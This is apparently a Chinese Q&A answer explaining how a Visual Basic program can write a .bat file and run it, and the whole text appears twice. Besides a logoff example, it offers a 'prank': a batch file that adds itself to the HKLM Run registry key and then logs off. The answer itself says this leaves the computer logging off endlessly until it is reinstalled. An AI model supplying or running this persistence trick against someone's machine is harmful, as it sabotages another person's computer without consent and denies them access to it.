VB释放BAT文件并运行
展开全部
'用open写Bat文件
open "路径+文件名.bat" for output as #1
print "Bat里的内容"
close #1
shell "路径+文件名.bat"
例子:
Private Sub Form_Load()
Open App.Path & "\FileBat.bat" For Output As #1
Print #1, "shutdown -l"
Close #1
Shell (App.Path & "\FileBat.bat")
End Sub
位置是:app.path
文件名:FileBat.bat
Bat内容:shutdown -l
效果:马上注销(shutdown -l是注销命令)
希望对你有用!!
再教你个整蛊人的办法:
bat里写上:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v FileBat /d app.path&"\FileBat.bat" /f
shutdown -l
效果:FileBat这个批处理文件被写入注册表开机启动..再执行注销命令..电脑无限被注销(建议别乱用,这个一弄,不重装或还原是开不了机的。还有,这个写注册表动作会被杀毒软件禁止)
open "路径+文件名.bat" for output as #1
print "Bat里的内容"
close #1
shell "路径+文件名.bat"
例子:
Private Sub Form_Load()
Open App.Path & "\FileBat.bat" For Output As #1
Print #1, "shutdown -l"
Close #1
Shell (App.Path & "\FileBat.bat")
End Sub
位置是:app.path
文件名:FileBat.bat
Bat内容:shutdown -l
效果:马上注销(shutdown -l是注销命令)
希望对你有用!!
再教你个整蛊人的办法:
bat里写上:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v FileBat /d app.path&"\FileBat.bat" /f
shutdown -l
效果:FileBat这个批处理文件被写入注册表开机启动..再执行注销命令..电脑无限被注销(建议别乱用,这个一弄,不重装或还原是开不了机的。还有,这个写注册表动作会被杀毒软件禁止)
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询